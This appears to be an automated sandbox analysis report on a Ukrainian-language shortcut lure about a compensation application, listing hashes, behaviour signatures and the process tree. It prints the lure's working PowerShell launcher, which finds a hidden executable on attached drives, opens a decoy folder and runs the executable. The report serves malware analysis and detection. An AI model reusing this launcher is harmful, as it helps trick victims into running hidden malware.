Analysis
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max time kernel
42s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
21-09-2022 05:57
Static task
static1
Behavioral task
behavioral1
Sample
jfilyg7.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
jfilyg7.exe
Resource
win10v2004-20220901-en
Behavioral task
behavioral3
Sample
ЗАЯВА-на-отримання-компенсації.lnk
Resource
win7-20220812-en
Behavioral task
behavioral4
Sample
ЗАЯВА-на-отримання-компенсації.lnk
Resource
win10v2004-20220812-en
Behavioral task
behavioral5
Sample
ЗАЯВА/3_ЗАЯВА-на-отримання-компенсації-додаткової-зниж.doc
Resource
win7-20220901-en
Behavioral task
behavioral6
Sample
ЗАЯВА/3_ЗАЯВА-на-отримання-компенсації-додаткової-зниж.doc
Resource
win10v2004-20220812-en
General
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Target
ЗАЯВА-на-отримання-компенсації.lnk
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Size
411KB
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MD5
c15aa00479cae0a8bae7c926d7fd8ba6
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SHA1
9c7c059e617380eb7bf5b5ae41b2874e2cf5111c
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SHA256
bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7
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SHA512
79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72
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SSDEEP
24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1288 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1288 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1288 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
cmd.exepowershell.exedescription pid process target process PID 1648 wrote to memory of 1288 1648 cmd.exe powershell.exe PID 1648 wrote to memory of 1288 1648 cmd.exe powershell.exe PID 1648 wrote to memory of 1288 1648 cmd.exe powershell.exe PID 1648 wrote to memory of 1288 1648 cmd.exe powershell.exe PID 1288 wrote to memory of 1400 1288 powershell.exe findstr.exe PID 1288 wrote to memory of 1400 1288 powershell.exe findstr.exe PID 1288 wrote to memory of 1400 1288 powershell.exe findstr.exe PID 1288 wrote to memory of 1400 1288 powershell.exe findstr.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnk
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\findstr.exe"C:\Windows\system32\findstr.exe" :\
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Downloads
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memory/1288-88-0x0000000000000000-mapping.dmp
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memory/1288-92-0x0000000075811000-0x0000000075813000-memory.dmpFilesize
8KB
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memory/1288-93-0x0000000073AF0000-0x000000007409B000-memory.dmpFilesize
5MB
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memory/1288-95-0x0000000073AF0000-0x000000007409B000-memory.dmpFilesize
5MB
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memory/1400-94-0x0000000000000000-mapping.dmp
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memory/1648-54-0x000007FEFB931000-0x000007FEFB933000-memory.dmpFilesize
8KB